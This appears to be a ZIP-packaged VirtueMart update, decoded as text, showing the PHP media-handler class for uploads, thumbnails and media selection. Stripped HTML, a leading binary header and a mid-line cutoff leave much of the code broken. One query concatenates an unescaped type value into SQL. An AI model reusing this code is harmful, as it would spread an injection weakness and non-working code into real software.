PKsl>\AAVcom_virtuemart_update/administrator/components/com_virtuemart/helpers/mediahandler.phpnuW+Atransliterate($str); } if(function_exists('mb_ereg_replace')){ $regex = array('#(\.){2,}#', '#[^\w\.\- ]#', '#^\.#'); return mb_ereg_replace($regex, '', $str); } else { $regex = array('#(\.){2,}#', '#[^A-Za-z0-9\.\_\- ]#', '#^\.#'); return preg_replace($regex, '', $str); } } } class VmMediaHandler { var $media_attributes = 0; var $setRole = false; var $file_name = ''; var $file_extension = ''; var $virtuemart_media_id = ''; function __construct($id=0){ $this->virtuemart_media_id = $id; $this->theme_url = VmConfig::get('vm_themeurl',0); if(empty($this->theme_url)){ $this->theme_url = JURI::root().'components/com_virtuemart/'; } } /** * The type of the media determines the used path for storing them * * @author Max Milbers * @param string $type type of the media, allowed values product, category, shop, vendor, manufacturer, forSale */ public function getMediaUrlByView($type){ //the problem is here, that we use for autocreatoin the name of the model, here products //But for storing we use the product to build automatically the table out of it (product_medias) $choosed = false; if($type == 'product' || $type == 'products'){ $relUrl = VmConfig::get('media_product_path'); $choosed = true; } else if($type == 'category' || $type == 'categories'){ $relUrl = VmConfig::get('media_category_path'); $choosed = true; } else if($type == 'shop'){ $relUrl = VmConfig::get('media_path'); $choosed = true; } else if($type == 'vendor' || $type == 'vendors'){ $relUrl = VmConfig::get('media_vendor_path'); // $relUrl = 'components/com_virtuemart/assets/images/vendors/'; $choosed = true; } else if($type == 'manufacturer' || $type == 'manufacturers'){ $relUrl = VmConfig::get('media_manufacturer_path'); $choosed = true; } else if($type == 'forSale' || $type== 'file_is_forSale'){ if (!class_exists ('shopFunctionsF')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctionsf.php'); $relUrl = shopFunctions::checkSafePath(); if($relUrl){ $choosed = true; $this->file_is_forSale=1; } } // $this->type = $type; // $this->setRole=false; if($choosed && empty($relUrl)){ $uri = JFactory::getURI(); $link = $uri->root() . 'administrator/index.php?option=com_virtuemart&view=config'; vmInfo('COM_VIRTUEMART_MEDIA_NO_PATH_TYPE',$type,$link ); //Todo add general media_path to config //$relUrl = VmConfig::get('media_path'); $relUrl = 'images/stories/virtuemart/'; $this->setRole=true; // } else if(!$choosed and empty($relUrl) and $this->file_is_forSale==0){ } else if(!$choosed and empty($relUrl) ){ vmWarn('COM_VIRTUEMART_MEDIA_CHOOSE_TYPE',$this->file_title ); // vmError('Ignore this message, when it appears while the media synchronisation process, else report to http://forum.virtuemart.net/index.php?board=127.0 : cant create media of unknown type, a programmers error, used type ',$type); //$relUrl = VmConfig::get('media_path'); $relUrl = 'images/stories/virtuemart/typeless/'; $this->setRole=true; } else if(!$choosed and $this->file_is_forSale==1){ $relUrl = ''; $this->setRole=false; } return $relUrl; } /** * This function determines the type of a media and creates it. * When you want to write a child class of the mediahandler, you need to manipulate this function. * We may use later here a hook for plugins or simular * * @author Max Milbers * @param object $table * @param string $type vendor,product,category,... * @param string $file_mimetype such as image/jpeg */ static public function createMedia($table,$type='',$file_mimetype=''){ if(!class_exists('JFile')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'filesystem'.DS.'file.php'); $extension = strtolower(JFile::getExt($table->file_url)); $isImage = self::isImage($extension); if($isImage){ if (!class_exists('VmImage')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'image.php'); $media = new VmImage(); } else { $media = new VmMediaHandler(); } $attribsImage = get_object_vars($table); foreach($attribsImage as $k=>$v){ $media->$k = $v; } if(empty($type)){ $type = $media->file_type; } else { $media->file_type = $type; } $media->setFileInfo($type); return $media; } /** * This prepares the object for storing the data. This means it does the action * and returns the data for storing in the table * * @author Max Milbers * @param object $table * @param array $data * @param string $type */ static public function prepareStoreMedia($table,$data,$type){ $media = VmMediaHandler::createMedia($table,$type); $data = $media->processAttributes($data); $data = $media->processAction($data); $attribsImage = get_object_vars($media); foreach($attribsImage as $k=>$v){ $data[$k] = $v; } return $data; } /** * Sets the file information and paths/urls and so on. * * @author Max Milbers * @param unknown_type $filename * @param unknown_type $url * @param unknown_type $path */ function setFileInfo($type=0){ $this->file_url_folder = ''; $this->file_path_folder = ''; $this->file_url_folder_thumb = ''; if($this->file_is_forSale==0 and $type!='forSale'){ $this->file_url_folder = $this->getMediaUrlByView($type); $this->file_url_folder_thumb = $this->file_url_folder.'resized/'; $this->file_path_folder = str_replace('/',DS,$this->file_url_folder); } else { if (!class_exists ('shopFunctions')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctions.php'); $safePath = shopFunctions::checkSafePath(); if(!$safePath){ return FALSE; } $this->file_path_folder = $safePath; $this->file_url_folder = $this->file_path_folder;//str_replace(DS,'/',$this->file_path_folder); $this->file_url_folder_thumb = VmConfig::get('forSale_path_thumb'); } //Clean from possible injection while(strpos($this->file_path_folder,'..')!==false){ $this->file_path_folder = str_replace('..', '', $this->file_path_folder); }; $this->file_path_folder = preg_replace('#[/\\\\]+#', DS, $this->file_path_folder); if(empty($this->file_url)){ $this->file_url = $this->file_url_folder; $this->file_name = ''; $this->file_extension = ''; } else { if(!class_exists('JFile')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'filesystem'.DS.'file.php'); if($this->file_is_forSale==1){ $rdspos = strrpos($this->file_url,DS); if($rdspos!==false){ $name = substr($this->file_url,$rdspos+1); } else { vmdebug('$name',$this->file_url,$rdspos); } } else { //This construction is only valid for the images, it is for own structuring using folders $name = str_replace($this->file_url_folder,'',$this->file_url); } //vmdebug('setFileInfo',$name,$this->file_title); if(!empty($name) && $name !=='/'){ $this->file_name = JFile::stripExt($name); $this->file_extension = strtolower(JFile::getExt($name)); //Ensure using right directory $file_url = $this->getMediaUrlByView($type).$name; if($this->file_is_forSale==1){ if(JFile::exists($file_url)){ $this->file_url = $file_url; } else { // vmdebug('MediaHandler, file does not exist in safepath '.$file_url); } } else { $pathToTest = JPATH_ROOT.DS.str_replace('/',DS,$file_url); if(JFile::exists($pathToTest)){ $this->file_url = $file_url; } else { // vmdebug('MediaHandler, file does not exist in '.$pathToTest); } } } } if($this->file_is_downloadable) $this->media_role = 'file_is_downloadable'; if($this->file_is_forSale) $this->media_role = 'file_is_forSale'; if(empty($this->media_role)) $this->media_role = 'file_is_displayable'; // vmdebug('$this->media_role',$this->media_role); $this->determineFoldersToTest(); if(!empty($this->file_url) && empty($this->file_url_thumb)){ $this->displayMediaThumb('',true,'',false); } } public function getUrl(){ return $this->file_url_folder.$this->file_name.'.'.$this->file_extension; } public function getThumbUrl(){ return $this->file_url_folder_thumb.$this->file_name.'.'.$this->file_extension; } public function getFullPath(){ $rel_path = str_replace('/',DS,$this->file_url_folder); return JPATH_ROOT.DS.$rel_path.$this->file_name.'.'.$this->file_extension; } public function getThumbPath(){ $rel_path = str_replace('/',DS,$this->file_url_folder); return JPATH_ROOT.DS.$rel_path.$this->file_name_thumb.'.'.$this->file_extension; } /** * Tests if a function is an image by mime or extension * * @author Max Milbers * @param string $file_mimetype * @param string $file_extension */ static private function isImage($file_extension=0){ if($file_extension == 'jpg' || $file_extension == 'jpeg' || $file_extension == 'png' || $file_extension == 'gif'){ $isImage = TRUE; } else { $isImage = FALSE; } return $isImage; } private $_foldersToTest = array(); /** * This functions adds the folders to test for each media, you can add more folders to test with * addFoldersToTest * @author Max Milbers */ public function determineFoldersToTest(){ $file_path = str_replace('/',DS,$this->file_url_folder); if($this->file_is_forSale){ $this->addFoldersToTest($file_path); } else { $this->addFoldersToTest(JPATH_ROOT.DS.$file_path); } $file_path_thumb = str_replace('/',DS,$this->file_url_folder_thumb); $this->addFoldersToTest(JPATH_ROOT.DS.$file_path_thumb); } /** * Add complete paths here to test/display if their are writable * * @author Max Milbers * @param absolutepPath $folders */ public function addFoldersToTest($folders){ if(!is_array($folders)) $folders = (array) $folders; $this->_foldersToTest = array_merge($this->_foldersToTest, $folders); } /** * Displays for paths if they are writeable * You set the folders to test with the function addFoldersToTest * @author Max Milbers */ public function displayFoldersWriteAble(){ $style = 'text-align:left;margin-left:20px;'; $result = '
'; foreach( $this->_foldersToTest as $dir ) { $result .= $dir . ' :: '; $result .= is_writable( $dir ) ? ''.JText::_('COM_VIRTUEMART_WRITABLE').'' : ''.JText::_('COM_VIRTUEMART_UNWRITABLE').''; $result .= '
'; } $result .= '
'; return $result; } /** * Shows the supported file types for the server * * @author enyo 06-Nov-2003 03:32 http://www.php.net/manual/en/function.imagetypes.php * @author Max Milbers * @return multitype:string */ function displaySupportedImageTypes() { $aSupportedTypes = array(); $aPossibleImageTypeBits = array( IMG_GIF=>'GIF', IMG_JPG=>'JPG', IMG_PNG=>'PNG', IMG_WBMP=>'WBMP' ); foreach ($aPossibleImageTypeBits as $iImageTypeBits => $sImageTypeString) { if(function_exists('imagetypes')){ if (imagetypes() & $iImageTypeBits) { $aSupportedTypes[] = $sImageTypeString; } } } $supportedTypes = ''; if(function_exists('mime_content_type')){ $supportedTypes .= JText::_('COM_VIRTUEMART_FILES_FORM_MIME_CONTENT_TYPE_SUPPORTED').'
'; } else { $supportedTypes .= JText::_('COM_VIRTUEMART_FILES_FORM_MIME_CONTENT_TYPE_NOT_SUPPORTED').'
'; } $supportedTypes .= JText::_('COM_VIRTUEMART_FILES_FORM_IMAGETYPES_SUPPORTED'). implode($aSupportedTypes,', '); return $supportedTypes; } /** * Just for overwriting purpose for childs. Take a look on VmImage to see an example * * @author Max Milbers */ function displayMediaFull(){ return $this->displayMediaThumb('id="vm_display_image"',false,'',true,true); } /** * This function displays the image, when the image is not already a resized one, * it tries to get first the resized one, or create a resized one or fallback in case * * @author Max Milbers * * @param string $imageArgs Attributes to be included in the tag. * @param boolean $lightbox alternative display method * @param string $effect alternative lightbox display * @param boolean $withDesc display the image media description */ function displayMediaThumb($imageArgs='',$lightbox=true,$effect="class='modal' rel='group'",$return = true,$withDescr = false,$absUrl = false, $width=0,$height=0){ if(empty($this->file_name)){ if($return){ if($this->file_is_downloadable){ $file_url = $this->theme_url.'assets/images/vmgeneral/'.VmConfig::get('downloadable','zip.png'); $file_alt = JText::_('COM_VIRTUEMART_NO_IMAGE_SET').' '.$this->file_description; return $this->displayIt($file_url, $file_alt, '',true,'',$withDescr); } else { $file_url = $this->theme_url.'assets/images/vmgeneral/'.VmConfig::get('no_image_set'); $file_alt = JText::_('COM_VIRTUEMART_NO_IMAGE_SET').' '.$this->file_description; return $this->displayIt($file_url, $file_alt, $imageArgs,$lightbox, $effect); } } } if(!empty($this->file_url_thumb)){ $file_url_thumb = $this->file_url_thumb; } else if(is_a($this,'VmImage')) { $file_url_thumb = $this->createThumbFileUrl(); } else { $file_url_thumb = ''; } $media_path = JPATH_ROOT.DS.str_replace('/',DS,$file_url_thumb); if(empty($this->file_meta)){ if(!empty($this->file_description)){ $file_alt = $this->file_description; } else if(!empty($this->file_name)) { $file_alt = $this->file_name; } else { $file_alt = ''; } } else { $file_alt = $this->file_meta; } if ((empty($file_url_thumb) || !file_exists($media_path)) && is_a($this,'VmImage')) { if(empty($width)) $width = VmConfig::get('img_width', 90); if(empty($height)) $height = VmConfig::get('img_height', 90); //vmSetStartTime('thumb'); $file_url_thumb = $this->createThumb($width,$height); //vmTime('Time to create thumb','thumb'); // vmdebug('displayMediaThumb',$this->file_url_thumb); $media_path = JPATH_ROOT.DS.str_replace('/',DS,$file_url_thumb); //$file_url = $this->file_url_thumb; //Here we need now to update the database field of $this->file_url_thumb to prevent dynamic thumbnailing in future //We do not update anylonger, only if there is an override used /*if(empty($this->_db)) $this->_db = JFactory::getDBO(); $query = 'UPDATE `#__virtuemart_medias` SET `file_url_thumb` = "'.$this->_db->getEscaped($this->file_url_thumb).'" WHERE `#__virtuemart_medias`.`virtuemart_media_id` = "'.(int)$this->virtuemart_media_id.'" '; $this->_db->setQuery($query); $this->_db->query();*/ } $this->file_url_thumb = $file_url_thumb; if($withDescr) $withDescr = $this->file_description; if (empty($this->file_url_thumb) || !file_exists($media_path)) { return $this->getIcon($imageArgs,$lightbox,$return,$withDescr,$absUrl); } if($return) return $this->displayIt($file_url_thumb, $file_alt, $imageArgs,$lightbox,$effect,$withDescr,$absUrl); } /** * This function should return later also an icon, if there isnt any automatic thumbnail creation possible * like pdf, zip, ... * * @author Max Milbers * @param string $imageArgs * @param boolean $lightbox */ function getIcon($imageArgs,$lightbox,$return=false,$withDescr=false,$absUrl = false){ if(!empty($this->file_extension)){ $file_url = $this->theme_url.'assets/images/vmgeneral/filetype_'.$this->file_extension.'.png'; $file_alt = $this->file_description; } else { $file_url = $this->theme_url.'assets/images/vmgeneral/'.VmConfig::get('no_image_found'); $file_alt = JText::_('COM_VIRTUEMART_NO_IMAGE_FOUND').' '.$this->file_description; } if($return){ if($this->file_is_downloadable){ return $this->displayIt($file_url, $file_alt, '',true,'',$withDescr,$absUrl); } else { return $this->displayIt($file_url, $file_alt, $imageArgs,$lightbox,'',$withDescr,$absUrl); } } } /** * This function is just for options how to display an image... * we may add here plugins for displaying images * * @author Max Milbers * @param string $file_url relative Url * @param string $file_alt media description * @param string $imageArgs attributes for displaying the images * @param boolean $lightbox use lightbox */ function displayIt($file_url, $file_alt, $imageArgs,$lightbox, $effect ="class='modal'",$withDesc=false,$absUrl = false){ if ($withDesc) $desc=''.$withDesc.''; else $desc=''; // vmdebug('displayIt $file_alt'.$file_alt,$imageArgs); if($lightbox){ $image = JHTML::image($file_url, $file_alt, $imageArgs); if ($file_alt ) $file_alt = 'title="'.$file_alt.'"'; if ($this->file_url and pathinfo($this->file_url, PATHINFO_EXTENSION) and substr( $this->file_url, 0, 4) != "http") $href = JURI::root() .$this->file_url ; else $href = $file_url ; if ($this->file_is_downloadable) { $lightboxImage = ''.$image.$desc.''; } else { $lightboxImage = ''.$image.''; $lightboxImage = $lightboxImage.$desc; } return $lightboxImage; } else { $root=''; if($absUrl) $root = JURI::root(); return JHTML::image($root.$file_url, $file_alt, $imageArgs).$desc; } } /** * Handles the upload process of a media, sets the mime_type, when success * * @author Max Milbers * @param string $urlfolder relative url of the folder where to store the media * @return name of the uploaded file */ function uploadFile($urlfolder,$overwrite = false){ if(empty($urlfolder) OR strlen($urlfolder)<2){ vmError('Not able to upload file, give path/url empty/too short '.$urlfolder.' please correct path in your virtuemart config'); return false; } $media = JRequest::getVar('upload', array(), 'files'); $app = JFactory::getApplication(); switch ($media['error']) { case 0: $path_folder = str_replace('/',DS,$urlfolder); //Sadly it does not work to upload unicode files, // the ä for example is stored on windows as ä, this seems to be a php issue (maybe a config setting) // //Sanitize name of media /* $dotPos = strrpos($media['name'],'.'); $safeMediaName = vmFile::makeSafe( $media['name'] ); if($dotPos!==FALSE){ $mediaPure = substr($media['name'],0,$dotPos); $mediaExtension = strtolower(substr($media['name'],$dotPos)); } else{ $mediaPure = ''; $mediaExtension = ''; } */ $safeMediaName = vmFile::makeSafe( $media['name'] ); $media['name'] = $safeMediaName; $mediaPure = JFile::stripExt($media['name']); $mediaExtension = '.'.strtolower(JFile::getExt($media['name'])); vmdebug('uploadFile $safeMediaName',$media['name'],$safeMediaName,$mediaPure,$mediaExtension); if(!$overwrite){ while (file_exists(JPATH_ROOT.DS.$path_folder.$mediaPure.$mediaExtension)) { $mediaPure = $mediaPure.rand(1,9); } } $media['name'] = $this->file_name =$mediaPure.$mediaExtension; if($this->file_is_forSale==0){ JFile::upload($media['tmp_name'],JPATH_ROOT.DS.$path_folder.$media['name']); } else { JFile::upload($media['tmp_name'],$path_folder.$media['name']); } $this->file_mimetype = $media['type']; $this->media_published = 1; $app->enqueueMessage(JText::sprintf('COM_VIRTUEMART_FILE_UPLOAD_OK',JPATH_ROOT.DS.$path_folder.$media['name'])); return $media['name']; case 1: //uploaded file exceeds the upload_max_filesize directive in php.ini $app->enqueueMessage(JText::sprintf('COM_VIRTUEMART_PRODUCT_FILES_ERR_UPLOAD_MAX_FILESIZE',$media['name'],$media['tmp_name']), 'warning'); break; case 2: //uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the html form $app->enqueueMessage(JText::sprintf('COM_VIRTUEMART_PRODUCT_FILES_ERR_MAX_FILE_SIZE',$media['name'],$media['tmp_name']), 'warning'); break; case 3: //uploaded file was only partially uploaded $app->enqueueMessage(JText::sprintf('COM_VIRTUEMART_PRODUCT_FILES_ERR_PARTIALLY',$media['name'],$media['tmp_name']), 'warning'); break; case 4: //no file was uploaded //$vmLogger->warning( "You have not selected a file/image for upload." ); break; default: //a default error, just in case! :) //$vmLogger->warning( "There was a problem with your upload." ); break; } return false; } /** * Deletes a file * * @param string $url relative Url, gets adjusted to path */ function deleteFile($url){ jimport('joomla.filesystem.file'); $file_path = JPATH_ROOT.DS.str_replace('/',DS,$url); $app = JFactory::getApplication(); if (!class_exists ('Permissions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); } $msg_path = ''; if(Permissions::getInstance()->check('admin')){ $msg_path = $file_path; } if($res = JFile::delete( $file_path )){ $app->enqueueMessage(JText::sprintf('COM_VIRTUEMART_FILE_DELETE_OK',$msg_path)); } else { $app->enqueueMessage(JText::sprintf('COM_VIRTUEMART_FILE_DELETE_ERR',$res.' '.$msg_path)); } return ; } /** * Processes the choosed Action while storing the data, gets extend by the used child, use for the action clear commands. * Useable commands in all medias upload, upload_delete, delete, and all of them with _thumb on it also. * * @author Max Milbers * @param arraybyform $data */ function processAction($data){ if(empty($data['media_action'])) return $data; // $data['published'] = 1; if( $data['media_action'] == 'upload' ){ $this->virtuemart_media_id=0; $this->file_url=''; $this->file_url_thumb=''; $file_name = $this->uploadFile($this->file_url_folder); $this->file_name = $file_name; $this->file_url = $this->file_url_folder.$this->file_name; } else if( $data['media_action'] == 'replace' ){ // $oldFileUrl = $data['file_url']; // vmdebug('replace media',$this); $oldFileUrl = $this->file_url; $oldFileUrlThumb = $this->file_url_thumb; $file_name = $this->uploadFile($this->file_url_folder,true); $this->file_name = $file_name; $this->file_url = $this->file_url_folder.$this->file_name; if($this->file_url!=$oldFileUrl && !empty($this->file_name)){ $this->deleteFile($oldFileUrl); } //always delete the thumb $this->deleteFile($oldFileUrlThumb); } else if( $data['media_action'] == 'replace_thumb' ){ $oldFileUrlThumb = $this->file_url_thumb; $oldFileUrl = $this->file_url_folder_thumb; $file_name = $this->uploadFile($this->file_url_folder_thumb,true); $this->file_name = $file_name; $this->file_url_thumb = $this->file_url_folder_thumb.$this->file_name; if($this->file_url_thumb!=$oldFileUrl&& !empty($this->file_name)){ $this->deleteFile($oldFileUrlThumb); } } else if( $data['media_action'] == 'delete' ){ //TODO this is complex, we must assure that the media entry gets also deleted. //$this->deleteFile($this->file_url); unset($data['active_media_id']); } if(empty($this->file_title) && !empty($file_name)) $this->file_title = $file_name; // if(empty($this->file_title) && !empty($file_name)) $data['file_title'] = $file_name; return $data; } /** * For processing the Attributes of the media while the storing process * * @author Max Milbers * @param unknown_type $data */ function processAttributes($data){ $this->file_is_product_image = 0; $this->file_is_downloadable = 0; // $this->file_is_forSale = 0; if(empty($data['media_roles'])) return $data; if($data['media_roles'] == 'file_is_downloadable'){ $this->file_is_downloadable = 1; $this->file_is_forSale = 0; } else if($data['media_roles'] == 'file_is_forSale'){ $this->file_is_downloadable = 0; $this->file_is_forSale = 1; $this->file_url_folder = VmConfig::get('forSale_path'); $this->file_url_folder_thumb = VmConfig::get('forSale_path_thumb'); $this->setRole = false; } if($this->setRole and $data['media_roles'] != 'file_is_forSale'){ $this->file_url_folder = $this->getMediaUrlByView($data['media_attributes']); //media_roles $this->file_url_folder_thumb = $this->file_url_folder.'resized/'; $typelessUrl = 'images/stories/virtuemart/typeless/'.$this->file_name; vmdebug('the Urls',$data['media_roles'],$typelessUrl,$this->file_url_folder.$this->file_name); if(!file_exists($this->file_url_folder.$this->file_name) and file_exists($typelessUrl)){ vmdebug('Execute move'); JFile::move($typelessUrl, $this->file_url_folder.$this->file_name); } } if(!empty($data['vmlangimg'])) { $vmlangimg = implode(",", $data['vmlangimg']); $this->file_lang = $vmlangimg; } return $data; } private $_actions = array(); /** * This method can be used to add extra actions to the media * * @author Max Milbers * @param string $optionName this is the value in the form * @param string $langkey the langkey used */ function addMediaAction($optionName,$langkey){ $this->_actions[$optionName] = $langkey ; } /** * Adds the media action which are needed in the form for all media, * you can use this function in your child calling parent. Look in VmImage for an exampel * @author Max Milbers */ function addMediaActionByType(){ $this->addMediaAction(0,'COM_VIRTUEMART_NONE'); $view = JRequest::getWord('view'); if($view!='media' || empty($this->file_name)){ $this->addMediaAction('upload','COM_VIRTUEMART_FORM_MEDIA_UPLOAD'); } if(!empty($this->file_name)){ $this->addMediaAction('replace','COM_VIRTUEMART_FORM_MEDIA_UPLOAD_REPLACE'); $this->addMediaAction('replace_thumb','COM_VIRTUEMART_FORM_MEDIA_UPLOAD_REPLACE_THUMB'); // $this->addMediaAction('delete_thumb','COM_VIRTUEMART_FORM_MEDIA_DELETE_THUMB'); // $this->addMediaAction('delete','COM_VIRTUEMART_FORM_MEDIA_DELETE'); } } private $_mLocation = array(); /** * This method can be used to add extra attributes to the media * * @author Max Milbers * @param string $optionName this is the value in the form * @param string $langkey the langkey used */ public function addMediaAttributes($optionName,$langkey=''){ $this->_mLocation[$optionName] = $langkey ; } /** * Adds the attributes which are needed in the form for all media, * you can use this function in your child calling parent. Look in VmImage for an exampel * @author Max Milbers */ public function addMediaAttributesByType(){ if($this->setRole){ // $this->addMediaAttributes('file_is_product_image','COM_VIRTUEMART_FORM_MEDIA_SET_PRODUCT'); $this->addMediaAttributes('product','COM_VIRTUEMART_FORM_MEDIA_SET_PRODUCT'); // => file_is_displayable =>location $this->addMediaAttributes('category','COM_VIRTUEMART_FORM_MEDIA_SET_CATEGORY'); $this->addMediaAttributes('manufacturer','COM_VIRTUEMART_FORM_MEDIA_SET_MANUFACTURER'); $this->addMediaAttributes('vendor','COM_VIRTUEMART_FORM_MEDIA_SET_VENDOR'); $this->_mRoles['file_is_displayable'] = 'COM_VIRTUEMART_FORM_MEDIA_DISPLAYABLE' ; $this->_mRoles['file_is_downloadable'] = 'COM_VIRTUEMART_FORM_MEDIA_DOWNLOADABLE' ; $this->_mRoles['file_is_forSale'] = 'COM_VIRTUEMART_FORM_MEDIA_SET_FORSALE' ; } else { if($this->file_is_forSale==1){ $this->_mRoles['file_is_forSale'] = 'COM_VIRTUEMART_FORM_MEDIA_SET_FORSALE' ; } else { $this->_mRoles['file_is_displayable'] = 'COM_VIRTUEMART_FORM_MEDIA_DISPLAYABLE' ; $this->_mRoles['file_is_downloadable'] = 'COM_VIRTUEMART_FORM_MEDIA_DOWNLOADABLE' ; } } } private $_hidden = array(); /** * Use this to adjust the hidden fields of the displayFileHandler to your form * * @author Max Milbers * @param string $name for exampel view * @param string $value for exampel media */ public function addHidden($name, $value=''){ $this->_hidden[$name] = $value; } /** * Adds the hidden fields which are needed for the form in every case * @author Max Milbers */ private function addHiddenByType(){ $this->addHidden('active_media_id',$this->virtuemart_media_id); $this->addHidden('option','com_virtuemart'); // $this->addHidden('file_mimetype',$this->file_mimetype); } /** * Displays file handler and file selector * * @author Max Milbers * @param array $fileIds */ public function displayFilesHandler($fileIds,$type){ VmConfig::loadJLang('com_virtuemart_media'); $html = $this->displayFileSelection($fileIds,$type); $html .= $this->displayFileHandler(); if(empty($this->_db)) $this->_db = JFactory::getDBO(); $this->_db->setQuery('SELECT FOUND_ROWS()'); $imagetotal = $this->_db->loadResult(); //vmJsApi::jQuery(array('easing-1.3.pack','mousewheel-3.0.4.pack','fancybox-1.3.4.pack'),'','fancybox'); $j = ' //0) media.start=0; }); searchMedia.autocomplete({ source: medialink, select: function(event, ui){ $('#ImagesContainer').append(ui.item.label); //$(this).autocomplete( 'option' , 'source' , '". JURI::root(false) ."administrator/index.php?option=com_virtuemart&view=product&task=getData&format=json&type=relatedcategories&row='+nextCustom ) }, minLength:1, html: true }); $('.js-pages').click(function (e) { e.preventDefault(); if (searchMedia.val() =='') { searchMedia.val(' '); media.start = 0; } else if ($(this).hasClass('js-next')) media.start = media.start+16 ; else if (media.start > 0) media.start = media.start-16 ; searchMedia.autocomplete( 'option' , 'source' , medialink+'&start='+media.start ); searchMedia.autocomplete( 'search'); }); $('#ImagesContainer').sortable({ update: function(event, ui) { $(this).find('.ordering').each(function(index,element) { $(element).val(index); //console.log(index+' '); }); } }); $('#upload').change( function (){ if ($('#media_action0').is(':checked') ) $('#media_actionupload').attr('checked', true); }); }); //]]> "; $document = JFactory::getDocument (); $document->addScriptDeclaration ( $j); return $html; } /** * Displays a possibility to select already uploaded media * the getImagesList must be adjusted to have more search functions * @author Max Milbers * @param array $fileIds */ public function displayFileSelection($fileIds,$type = 0){ $html=''; $html .= '
' ; $html .= ''.JText::_('COM_VIRTUEMART_IMAGES').''; $html .= ''.JText::_('COM_VIRTUEMART_SEARCH_MEDIA') . ''; $html .= ' 16 16 '; $html .='
'; $html .= '
'; if(!empty($fileIds)) { $model = VmModel::getModel('Media'); $medias = $model->createMediaByIds($fileIds, $type); foreach($medias as $k=>$id){ $html .= $this->displayImage($id,$k ); } } $html .= '
'; return $html.'
'; } function displayImage($image ,$key) { if (isset($image->file_url)) { $image->file_root = JURI::root(true).'/'; $image->msg = 'OK'; return ''; } else { $fileTitle = empty($image->file_title)? 'no title':$image->file_title; return '
'.JText::_('COM_VIRTUEMART_NO_IMAGE_SET').'
'.$fileTitle.'
'; } } static function displayImages($types ='',$page=0,$max=16 ) { $Images = array(); $list = VmMediaHandler::getImagesList($types,$page,$max); if (empty($list['images'])){ return JText::_('COM_VIRTUEMART_NO_MEDIA_FILES'); } foreach ($list['images'] as $key =>$image) { $htmlImages =''; if ($image->file_url_thumb > "0" ) { // $imagesList->file_root = JURI::root(true).'/'; // $imagesList->msg = 'OK'; $htmlImages .= '
' .JHTML::image($image->file_url_thumb,$image->file_title, 'class="vm_thumb" ').''; } else { $htmlImages .= '
'.JText::_('COM_VIRTUEMART_NO_IMAGE_SET').'
'.$image->file_title ; } $Images[$key ]['label'] = $htmlImages.'
'; $Images[$key ]['value'] = $image->file_title.' :: '.$image->virtuemart_media_id; } //$list['htmlImages'] = $htmlImages; return $Images; } /** * Retrieve a list of layouts from the default and chosen templates directory. * * We may use here the getFiles function of the media model or write something simular * @author Max Milbers * @param name of the view * @return object List of flypage objects */ function getImagesList($type = '',$limit=0, $max=16) { $db = JFactory::getDBO(); $list = array(); $vendorId=1;//TODO control the vendor $q='SELECT SQL_CALC_FOUND_ROWS `virtuemart_media_id` FROM `#__virtuemart_medias` WHERE `published`=1 AND (`virtuemart_vendor_id`= "'.(int)$vendorId.'" OR `shared` = "1")'; if(!empty($type)){ $q .= ' AND `file_type` = "'.$type.'" '; } if ($search = JRequest::getString('term', false)){ $search = '"%' . $db->getEscaped( $search, true ) . '%"' ; $q .= ' AND (`file_title` LIKE '.$search.' OR `file_description` LIKE '.$search.' OR `file_meta` LIKE '.$search.') '; } $q .= ' LIMIT '.(int)$limit.', '.(int)$max; $db->setQuery($q); // $result = $this->_db->loadAssocList(); if ($virtuemart_media_ids = $db->loadResultArray()) { $errMsg = $db->getErrorMsg(); $errs = $db->getErrors(); $model = VmModel::getModel('Media'); $db->setQuery('SELECT FOUND_ROWS()'); $list['total'] = $db->loadResult(); $list['images'] = $model->createMediaByIds($virtuemart_media_ids, $type); if(!empty($errMsg)){ $app = JFactory::getApplication(); $errNum = $db->getErrorNum(); $app->enqueueMessage('SQL-Error: '.$errNum.' '.$errMsg); } if($errs){ $app = JFactory::getApplication(); foreach($errs as $err){ $app->enqueueMessage($err); } } return $list; } else return array(); } /** * This displays a media handler. It displays the full and the thumb (icon) of the media. * It also gives a possibility to upload/change/thumbnail media * * @param string $imageArgs html atttributes, Just for displaying the fullsized image */ public function displayFileHandler(){ VmConfig::loadJLang('com_virtuemart_media'); $identify = ''; // ':'.$this->virtuemart_media_id; $this->addHiddenByType(); $html = '
' ; $html .= ''.JText::_('COM_VIRTUEMART_IMAGE_INFORMATION').''; $html .= '
'; $imageArgs = 'id="vm_display_image" '; $html .= $this->displayMediaFull($imageArgs,false,'',false).'
'; //This makes problems, when there is already a form, and there would be form in a form. breaks js in some browsers // $html .= '
'; $html .= ' '; if ($this->published || $this->virtuemart_media_id === 0){ $checked = 1; } else { $checked = 0; } $html .= ''; // The following was removed bacause the check box (publish/unpublish) was not functioning... // $this->media_published = $this->published; $html .= ''; $html .= ''; $html .= ''; // $html .= ' // // // '; if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(!Permissions::getInstance()->check('admin') ) $readonly='readonly'; else $readonly =''; $html .= $this->displayRow('COM_VIRTUEMART_FILES_FORM_FILE_TITLE','file_title'); $html .= $this->displayRow('COM_VIRTUEMART_FILES_FORM_FILE_DESCRIPTION','file_description'); $html .= $this->displayRow('COM_VIRTUEMART_FILES_FORM_FILE_META','file_meta'); $html .= $this->displayRow('COM_VIRTUEMART_FILES_FORM_FILE_URL','file_url',$readonly); //remove the file_url_thumb in case it is standard if(!empty($this->file_url_thumb) and is_a($this,'VmImage')) { $file_url_thumb = $this->createThumbFileUrl(); //vmdebug('my displayFileHandler ',$this,$file_url_thumb); if($this->file_url_thumb == $file_url_thumb){ $this->file_url_thumb = JText::sprintf('COM_VIRTUEMART_DEFAULT_URL',$file_url_thumb); } } $html .= $this->displayRow('COM_VIRTUEMART_FILES_FORM_FILE_URL_THUMB','file_url_thumb',$readonly); $this->addMediaAttributesByType(); $html .= ''; // $html .= ''; } else { $mediaattribtemp = $this->media_attributes; if(empty($this->media_attributes)){ $mediaattribtemp = 'product'; } $html .= ''; } // select language for image if (count(vmconfig::get('active_languages'))>1) { $selectedLangue = explode(",", $this->file_lang); $languages = 